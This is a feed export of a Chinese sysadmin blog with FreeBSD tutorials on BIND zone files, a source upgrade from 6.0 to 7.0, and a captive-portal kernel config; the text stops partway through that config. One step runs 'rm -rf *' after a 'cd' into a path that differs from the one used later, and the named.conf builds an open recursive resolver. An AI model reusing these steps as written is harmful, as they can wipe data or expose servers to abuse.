 修改内容如下：
$TTL    3600
&nbsp;
@       IN      SOA     ns1.ding9.com. root.ns1.ding9.com.  (
                                20060616        ; Serial
                                3600    ; Refresh
                                900     ; Retry
                                3600000 ; Expire
                                3600 )  ; Minimum
        IN      NS      ns1.ding9.com.
205      IN      PTR     ns1.ding9.com.
205      IN      PTR     www.ding9.com.
205      IN      PTR     log.ding9.com.
205      IN      PTR     ftp.ding9.com.
205      IN      PTR     mail.ding9.com.
205     IN      PTR     it.ding9.com.
205	IN		 PTR		51map.ding9.com
205是你的IP地址
（增加反向解析PTR记录  注意：不建议全部的域名及二级域名增加PTR记录）. It 51map为跟公司有业务合作的域名，在这里是作个域名转向。
H、	设置DNS服务器的正向解析文件.
# vi /etc/namedb/hosts/ding9.com.hosts 
修改内容如下：
$TTL    3600
&nbsp;
@       IN      SOA     ns1.ding9.com. root.ns1.ding9.com.  (
                                20060312        ; Serial
                                3600    ; Refresh
                                900     ; Retry
                                3600000 ; Expire
                                3600 )  ; Minimum
        IN      NS      ns1.ding9.com.
ns1     IN      A       211.155.30.205
www     IN      A       211.155.30.205
log     IN      A       211.155.30.205
ftp     IN      A       211.155.30.205
mail    IN      A       211.155.30.205
it      IN      CNAME   itpub.it.com.cn.
51mp    IN      A       218.85.137.38
ding9.com.      IN      MX      10      mail.ding9.com.
ding9.com.      IN      A       211.155.30.205
(注意：MX记录的添加要先做一个mail的A记录再做MX记录。MX记录添加的原则是用你的域名指向你的mail的二级域名。211.155.30.205 是顶九网公网IP，也是防火墙，如果服务器没有放在防火墙后面，那这ip就为服务器网卡直接绑定的ip)
I、	生成DNS服务器的key文件.
# /usr/sbin/rndc-confgen &gt; /etc/namedb/rndc.conf 
J、	将key文件导入named.conf文件
# cd /etc/namedb 
# tail -n10 rndc.conf | head -n9 | sed -e s/#\ //g &gt;&gt; named.conf 
K、	启动DNS服务器.
# /usr/sbin/named -gc /etc/namedb/named.conf &amp;
（&amp; 表示后台运行） 
# /usr/sbin/rndc status 
&lt;!--adsense--&gt;
&nbsp;
（查看DNS的启动情况）
L、	设置本机DNS服务器地址.
#vi /etc/resolv.conf  
增加以下内容：
nameserver                      127.0.0.1 
nameserver                      202.96.128.68 
nameserver                         202.96.134.133 
nameserver                         202.99.96.68 
nameserver                         202.102.128.68 
nameserver                         211.155.23.88
nameserver                         211.155.27.88 
(所以选这么多DNS是考虑到冗余设计防止万一出错)
M、	删除或注释掉DNS服务器的监听地址.
注释掉
//  listen-on               { 127.0.0.1; };
（由于bind9在默认的情况下只是给自己，所以要去除监听地址）
重新加载dns 配置文件
#/usr/sbin/rndc reload
N、	使DNS服务器和系统一起启动
O、/etc/rc.conf 
添加 
named_enable=&quot;YES&quot;</pre></td></tr></table></div>

<p>重启服务器。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/235.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Freebsd6.0 升级到freebsd7.0</title>
		<link>http://www.evanjiang.net.cn/archives/111.html</link>
		<comments>http://www.evanjiang.net.cn/archives/111.html#comments</comments>
		<pubDate>Fri, 19 Dec 2008 09:52:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[freebsd6 升级 freebsd7]]></category>

		<guid isPermaLink="false">http://www.hunttech.com.cn/wpblog/?p=111</guid>
		<description><![CDATA[<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"> </p>
<p>先定制standard-supfile文档.</p>
<p># vim /usr/share/examples/cvsup/standard-supfile</p>
<p>把这项改成 *default release=cvs tag=RELENG_7_0, 存盘退出
</p>
<p>
# csup -gL2 -h cvsup3.freebsdchina.org /usr/share/examples/cvsup/standard-supfile
# cd /usr/src &#38;&#38; mkae cleandir &#38;&#38; make cleandir
# make buildworld
# make buildkernel
# make installkernel
# mergemaster -p
# make installworld
后面还几步看, Makefiles吧. 主要是清old lib 和 bin的. 做这些步骤前，最好先看下相关文档</p>
]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span lang="EN-US"><span style="font-size: small;"></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span lang="EN-US"><span style="font-size: small; font-family: Times New Roman;"> </span></span></p>
<p><span style="font-size: 10pt; color: black; font-family: 宋体; mso-ascii-font-family: song; mso-hansi-font-family: song; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA;">先定制</span><span style="font-family: 宋体;"><span style="font-size: 10pt; color: black; font-family: song; mso-fareast-font-family: 宋体; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA;" lang="EN-US">standard-supfile</span><span style="font-size: 10pt; color: black; font-family: 宋体; mso-ascii-font-family: song; mso-hansi-font-family: song; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA;">文档</span></span><span style="font-family: 宋体;"><span style="font-size: 10pt; color: black; font-family: song; mso-fareast-font-family: 宋体; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA;" lang="EN-US">.</p>
<p># vim /usr/share/examples/cvsup/standard-supfile</p>
<p></span><span style="font-size: 10pt; color: black; font-family: 宋体; mso-ascii-font-family: song; mso-hansi-font-family: song; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA;">把这项改成</span><span style="font-size: 10pt; color: black; font-family: song; mso-fareast-font-family: 宋体; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA;" lang="EN-US"> *default release=cvs tag=RELENG_7_0, </span><span style="font-size: 10pt; color: black; font-family: 宋体; mso-ascii-font-family: song; mso-hansi-font-family: song; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA;">存盘退出</span></span><span style="font-size: 10pt; color: black; font-family: song; mso-fareast-font-family: 宋体; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA;" lang="EN-US"><br />
</span></p>
<p><span style="font-size: 10pt; color: black; font-family: song; mso-fareast-font-family: 宋体; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA;" lang="EN-US"><span id="more-111"></span><br />
<span style="font-family: 宋体;"># csup -gL2 -h cvsup3.freebsdchina.org /usr/share/examples/cvsup/standard-supfile<br />
# cd /usr/src &amp;&amp; mkae cleandir &amp;&amp; make cleandir<br />
# make buildworld<br />
# make buildkernel<br />
# make installkernel<br />
# mergemaster -p<br />
# make installworld<br />
</span></span><span style="font-size: 10pt; color: black; font-family: 宋体; mso-ascii-font-family: song; mso-hansi-font-family: song; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA;">后面还几步看</span><span style="font-family: 宋体;"><span style="font-size: 10pt; color: black; font-family: song; mso-fareast-font-family: 宋体; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA;" lang="EN-US">, Makefiles</span><span style="font-size: 10pt; color: black; font-family: 宋体; mso-ascii-font-family: song; mso-hansi-font-family: song; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA;">吧</span><span style="font-size: 10pt; color: black; font-family: song; mso-fareast-font-family: 宋体; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA;" lang="EN-US">. </span><span style="font-size: 10pt; color: black; font-family: 宋体; mso-ascii-font-family: song; mso-hansi-font-family: song; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA;">主要是清</span><span style="font-size: 10pt; color: black; font-family: song; mso-fareast-font-family: 宋体; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA;" lang="EN-US">old lib </span><span style="font-size: 10pt; color: black; font-family: 宋体; mso-ascii-font-family: song; mso-hansi-font-family: song; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA;">和</span><span style="font-size: 10pt; color: black; font-family: song; mso-fareast-font-family: 宋体; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA;" lang="EN-US"> bin</span><span style="font-size: 10pt; color: black; font-family: 宋体; mso-ascii-font-family: song; mso-hansi-font-family: song; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA;">的</span><span style="font-size: 10pt; color: black; font-family: song; mso-fareast-font-family: 宋体; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA;" lang="EN-US">. </span><span style="font-size: 10pt; color: black; font-family: 宋体; mso-ascii-font-family: song; mso-hansi-font-family: song; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA;">做这些步骤前，最好先看下相关文档</span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/111.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD 7.0 自带BIND配置DNS服务器</title>
		<link>http://www.evanjiang.net.cn/archives/94.html</link>
		<comments>http://www.evanjiang.net.cn/archives/94.html#comments</comments>
		<pubDate>Wed, 17 Dec 2008 12:49:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[dns]]></category>
		<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[Freebsd bind dns服务器]]></category>

		<guid isPermaLink="false">http://www.hunttech.com.cn/wpblog/?p=94</guid>
		<description><![CDATA[<p>cd /etc/named</p>
<p>rm -rf *</p>
<p>rndc-confgen &#62; rndc.conf</p>
<p>tail -10 rndc.conf &#124; head -9 &#124; sed s/#\ //g &#62; named.conf</p>
<p>fetch ftp://ftp.internic.org/domain/named.root</p>
<p>vi localhost.zone</p>
<p>$TTL    86400</p>
<p>$ORIGIN localhost.</p>
<p>@        1D        IN        SOA        @        root (</p>
<p>                        42   [...]]]></description>
			<content:encoded><![CDATA[<p>cd /etc/named</p>
<p>rm -rf *</p>
<p>rndc-confgen &gt; rndc.conf</p>
<p>tail -10 rndc.conf | head -9 | sed s/#\ //g &gt; named.conf</p>
<p>fetch ftp://ftp.internic.org/domain/named.root</p>
<p>vi localhost.zone</p>
<p>$TTL    86400</p>
<p>$ORIGIN localhost.</p>
<p>@        1D        IN        SOA        @        root (</p>
<p>                        42        ; serial (d. adams)</p>
<p>                        3H        ; refresh</p>
<p>                        15M        ; retry</p>
<p>                        1W        ; expiry</p>
<p>                        1D )        ; minimum</p>
<p>        1D        IN        NS        @</p>
<p>        1D        IN        A        127.0.0.1</p>
<p>vi named.local</p>
<p>$TTL        86400 </p>
<p>@        IN        SOA        localhost.        root.localhost. ( </p>
<p>                        1997022700        ; Serial </p>
<p>                        28800                ; Refresh </p>
<p>                        14400                ; Retry </p>
<p>                        3600000                ; Expire </p>
<p>                        86400 )                ; Minimum </p>
<p>        IN        NS        localhost.</p>
<p>1        IN        PTR        localhost.</p>
<p> </p>
<p><span id="more-94"></span></p>
<p>vi named.conf</p>
<p>options {</p>
<p>        directory &#8220;/etc/namedb/&#8221;;</p>
<p>        pid-file &#8220;/var/run/named/pid&#8221;;</p>
<p>        allow-query { any; };</p>
<p>#        statistics-file &#8220;/var/log/stats.log&#8221;;</p>
<p>        version &#8220;Windows 2003 Dns Server v6.0&#8243;;        </p>
<p>#        listen-on port 53 { 192.168.23.133; };</p>
<p>        recursion yes;</p>
<p>        datasize 50M;</p>
<p>        rrset-order { order random; };</p>
<p>};</p>
<p> </p>
<p>logging {</p>
<p>        channel warning {</p>
<p>                file &#8220;/var/log/dns_warnings.log&#8221; versions 5 size 1024K;</p>
<p>                severity warning;</p>
<p>                print-category yes;</p>
<p>                print-severity yes;</p>
<p>                print-time yes;</p>
<p>        };</p>
<p>        channel security_log {</p>
<p>                file &#8220;/var/log/dns_security.log&#8221; versions 5 size 1024K;</p>
<p>                severity info;</p>
<p>                print-category yes;</p>
<p>                print-severity yes;</p>
<p>                print-time yes;</p>
<p>        };</p>
<p>        channel query_log {</p>
<p>                file &#8220;/var/log/dns_query.log&#8221; versions 10 size 1024K;</p>
<p>                severity info;</p>
<p>                print-category yes;</p>
<p>                print-severity yes;</p>
<p>                print-time yes;</p>
<p>        };</p>
<p>        category default { warning; };</p>
<p>        category security { security_log; };</p>
<p>        category queries { query_log; };</p>
<p>};</p>
<p> </p>
<p>zone &#8220;.&#8221; IN {</p>
<p>        type hint;</p>
<p>        file &#8220;named.root&#8221;;</p>
<p>};</p>
<p> </p>
<p>zone &#8220;localhost&#8221; IN {</p>
<p>        type master;</p>
<p>        file &#8220;localhost.zone&#8221;;</p>
<p>        allow-update { none; };  </p>
<p>};</p>
<p> 
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
<p>zone &#8220;0.0.127.in-addr.arpa&#8221; IN {</p>
<p>        type master;</p>
<p>        file &#8220;named.local&#8221;;</p>
<p>        allow-update { none; };</p>
<p>};</p>
<p> </p>
<p>include &#8220;custom_dm.conf&#8221;;                        #包含域名定义文件</p>
<p>mkdir master</p>
<p>vi master/thismail.org.zone</p>
<p>$ORIGIN thismail.org.</p>
<p>$TTL 300</p>
<p>@        IN        SOA        ns1.thismail.org.        webmaster.thismail.org. (</p>
<p>                        2008041001        ; serial number YYMMDDNN</p>
<p>                        28800                ; Refresh</p>
<p>                        7200                ; Retry</p>
<p>                        864000                ; Expire</p>
<p>                        300                ; Min TTL</p>
<p>                        )</p>
<p>thismail.org.        IN        NS        ns1.thismail.org. </p>
<p>thismail.org.        IN        NS        ns2.thismail.org. </p>
<p>ns1        IN        A        192.168.23.133</p>
<p>thismail.org.        IN        MX        10 mail.thismail.org.</p>
<p>thismail.org.        IN        A        192.168.0.9</p>
<p>www        IN        A        192.168.0.9</p>
<p>mail        IN        A        192.168.0.25</p>
<p>pop        IN        CNAME        mail.thismail.org.</p>
<p>smtp        IN        CNAME        mail.thismail.org.</p>
<p>thismail.org.        IN        TXT        &#8221;v=spf1 ip4:192.168.0.25 ~all&#8221;        </p>
<p>;邮件SPF设置</p>
<p>vi custom_dm.conf</p>
<p>zone &#8220;thismail.org&#8221; {</p>
<p>    type master;</p>
<p>    file &#8220;master/thismail.org.zone&#8221;;</p>
<p>};</p>
<p>touch /var/log/dns_warnings.log</p>
<p>touch /var/log/dns_security.log</p>
<p>touch /var/log/dns_query.log</p>
<p>chown bind /var/log/dns_warnings.log</p>
<p>chown bind /var/log/dns_security.log</p>
<p>chown bind /var/log/dns_query.log</p>
<p>vi /etc/rc.conf</p>
<p>named_enable=&#8221;YES&#8221;</p>
<p>/etc/rc.d/named start</p>
<p>Xshell:\&gt; nslookup</p>
<p>&gt; server 192.168.23.133</p>
<p>Default Server:  [192.168.23.133]</p>
<p>Address:  192.168.23.133</p>
<p>&gt; www.qq.com</p>
<p>Non-authoritative answer:</p>
<p>Server:  [192.168.23.133]</p>
<p>Address:  192.168.23.133</p>
<p> </p>
<p>Name:    www-cdn.qq.com</p>
<p>Address:  60.28.232.119</p>
<p>Aliases:  www.qq.com</p>
<p> </p>
<p>&gt; www.freebsdchina.org</p>
<p>Non-authoritative answer:</p>
<p>Server:  [192.168.23.133]</p>
<p>Address:  192.168.23.133</p>
<p> </p>
<p>Name:    www.freebsdchina.org</p>
<p>Address:  61.129.66.78</p>
<p> </p>
<p>测试thismail.org</p>
<p> </p>
<p>&gt; www.thismail.org</p>
<p>Server:  [192.168.23.133]</p>
<p>Address:  192.168.23.133</p>
<p> 
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
<p>Name:    www.thismail.org</p>
<p>Address:  192.168.0.9</p>
<p> </p>
<p>&gt; set type=mx</p>
<p>&gt; thismail.org</p>
<p>Server:  [192.168.23.133]</p>
<p>Address:  192.168.23.133</p>
<p> </p>
<p>thismail.org        MX preference = 10, mail exchanger = mail.thismail.org</p>
<p>thismail.org        nameserver = ns1.thismail.org</p>
<p>thismail.org        nameserver = ns2.thismail.org</p>
<p>mail.thismail.org        internet address = 192.168.0.25</p>
<p>ns1.thismail.org        internet address = 192.168.23.133</p>
<p>&gt; set type=txt</p>
<p>&gt; thismail.org</p>
<p>Server:  [192.168.23.133]</p>
<p>Address:  192.168.23.133</p>
<p> </p>
<p>thismail.org        text =</p>
<p> </p>
<p>        &#8221;v=spf1 ip4:192.168.0.25 ~all&#8221;</p>
<p>thismail.org        nameserver = ns2.thismail.org</p>
<p>thismail.org        nameserver = ns1.thismail.org</p>
<p>ns1.thismail.org        internet address = 192.168.23.133</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/94.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD7.0+opengate+ipfw(网页网关认证)Captive Portal</title>
		<link>http://www.evanjiang.net.cn/archives/89.html</link>
		<comments>http://www.evanjiang.net.cn/archives/89.html#comments</comments>
		<pubDate>Wed, 17 Dec 2008 12:44:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[Freebsd opengate ipfw]]></category>

		<guid isPermaLink="false">http://www.hunttech.com.cn/wpblog/?p=89</guid>
		<description><![CDATA[<p>介绍
如果用过m0n0wall这个东西的朋友应该知道里面有个Captive Portal功能。就是通过网页认证的方式来接入internet.最近无聊，准备选一个open source在linux下或者BSD下自己做一个。本来准备移植m0n0的，但是嫌麻烦。
有兴趣的朋友可以在这里看一下：http://wiki.personaltelco.net/PortalSoftware
这里有很多开源的和商业化的。最后我选到Opengate 原因是因为我很多都试过。感觉支持不是很好opengate是日本saga大学维护这个项目。唯一的缺陷是只能在BSD下。好。我来大概说一下安装调式的步骤。
首先申明本人仅仅只是对opengate的安装过程拿官方的文挡做了简单的翻译和自己实现了一次的过程,在实现过程中很多都是最简化的配置.在这里并不讨论稳定性和安全性..
安装FREEBSD
首先安装FREEBSD7.0 我采用的是最小化安装,装上sys ports和cvsup拿来更新ports树…(我采用的是vmware6.0 虚拟两张网卡.一张物理连接.一张连接到vmnet8 最后测试的时候我采用windows上的VMware Network Adapter VMnet8进行测试.本地连接上随便配置一个IP就可以.)
配置内核
我的内核配置是这样的:</p>
<p></p>

QUOTE:
cpu                I486_CPU
cpu                I586_CPU
cpu                I686_CPU
ident                MYKERNEL
makeoptions        DEBUG=-g                # [...]]]></description>
			<content:encoded><![CDATA[<p><strong><span style="color: red;">介绍</span></strong><br />
如果用过m0n0wall这个东西的朋友应该知道里面有个Captive Portal功能。就是通过网页认证的方式来接入internet.最近无聊，准备选一个open source在linux下或者BSD下自己做一个。本来准备移植m0n0的，但是嫌麻烦。<br />
有兴趣的朋友可以在这里看一下：<a href="http://wiki.personaltelco.net/PortalSoftware" target="_blank">http://wiki.personaltelco.net/PortalSoftware</a><br />
这里有很多开源的和商业化的。最后我选到Opengate 原因是因为我很多都试过。感觉支持不是很好opengate是日本saga大学维护这个项目。唯一的缺陷是只能在BSD下。好。我来大概说一下安装调式的步骤。<br />
首先申明本人仅仅只是对opengate的安装过程拿官方的文挡做了简单的翻译和自己实现了一次的过程,在实现过程中很多都是最简化的配置.在这里并不讨论稳定性和安全性..<br />
安装FREEBSD<br />
首先安装FREEBSD7.0 我采用的是最小化安装,装上sys ports和cvsup拿来更新ports树…(我采用的是vmware6.0 虚拟两张网卡.一张物理连接.一张连接到vmnet8 最后测试的时候我采用windows上的VMware Network Adapter VMnet8进行测试.本地连接上随便配置一个IP就可以.)<br />
<strong><span style="color: red;">配置内核</span></strong><br />
我的内核配置是这样的:</p>
<p><span id="more-89"></span></p>
<div class="msgbody">
<div class="msgheader">QUOTE:</div>
<div class="msgborder">cpu                I486_CPU<br />
cpu                I586_CPU<br />
cpu                I686_CPU<br />
ident                MYKERNEL<br />
makeoptions        DEBUG=-g                # Build kernel with gdb(1) debug symbols<br />
options         SCHED_4BSD                # 4BSD scheduler<br />
options         PREEMPTION                # Enable kernel thread preemption<br />
options         INET                        # InterNETworking<br />
options         INET6                        # IPv6 communications protocols<br />
options         SCTP                        # Stream Control Transmission Protocol<br />
options         FFS                        # Berkeley Fast Filesystem<br />
options         SOFTUPDATES                # Enable FFS soft updates support<br />
options         UFS_ACL                        # Support for access control lists<br />
options         UFS_DIRHASH                # Improve performance on big directories<br />
options         UFS_GJOURNAL                # Enable gjournal-based UFS journaling<br />
options         MD_ROOT                        # MD is a potential root device<br />
options         CD9660                        # ISO 9660 Filesystem<br />
options         PROCFS                        # Process filesystem (requires PSEUDOFS)<br />
options         PSEUDOFS                # Pseudo-filesystem framework<br />
options         GEOM_PART_GPT                # GUID Partition Tables.<br />
options         GEOM_LABEL                # Provides labelization<br />
options         COMPAT_43TTY                # BSD 4.3 TTY compat [KEEP THIS!]<br />
options         COMPAT_FREEBSD4                # Compatible with FreeBSD4<br />
options         COMPAT_FREEBSD5                # Compatible with FreeBSD5<br />
options         COMPAT_FREEBSD6                # Compatible with FreeBSD6<br />
options         SCSI_DELAY=5000                # Delay (in ms) before probing SCSI<br />
options         KTRACE                        # ktrace(1) support<br />
options         SYSVSHM                        # SYSV-style shared memory<br />
options         SYSVMSG                        # SYSV-style message queues<br />
options         SYSVSEM                        # SYSV-style semaphores<br />
options         _KPOSIX_PRIORITY_SCHEDULING # POSIX P1003_1B real-time extensions<br />
options         KBD_INSTALL_CDEV        # install a CDEV entry in /dev<br />
options         ADAPTIVE_GIANT                # Giant mutex is adaptive.<br />
options         STOP_NMI                # Stop CPUS using NMI instead of IPI<br />
options         AUDIT                        # Security event auditing<br />
options IPDIVERT<br />
options IPFIREWALL<br />
options IPFIREWALL_FORWARD<br />
options IPFIREWALL_VERBOSE<br />
options IPFIREWALL_VERBOSE_LIMIT=100<br />
#options IPFIREWALL_DEFAULT_TO_ACCEPT<br />
options IPSEC<br />
device crypto<br />
device                apic                        # I/O APIC<br />
device                cpufreq<br />
device                pci<br />
# ATA and ATAPI devices<br />
device                ata<br />
device                atadisk                # ATA disk drives<br />
# atkbdc0 controls both the keyboard and the PS/2 mouse<br />
device                atkbdc                # AT keyboard controller<br />
device                atkbd                # AT keyboard<br />
device                psm                # PS/2 mouse<br />
device                kbdmux                # keyboard multiplexer<br />
device                vga                # VGA video card driver<br />
device                splash                # Splash screen and screen saver support<br />
# syscons is the default console driver, resembling an SCO console<br />
device                sc<br />
device                agp                # support several AGP chipsets<br />
# Add suspend/resume support for the i8254.<br />
device                pmtimer<br />
device                le                # AMD Am7900 LANCE and Am79C9xx PCnet<br />
device                miibus                # MII bus support<br />
device                bge                # Broadcom BCM570xx Gigabit Ethernet<br />
# Pseudo devices.<br />
device                loop                # Network loopback<br />
device                random                # Entropy device<br />
device                ether                # Ethernet support<br />
device                sl                # Kernel SLIP<br />
device                ppp                # Kernel PPP<br />
device                tun                # Packet tunnel.<br />
device                pty                # Pseudo-ttys (telnet etc)<br />
device                md          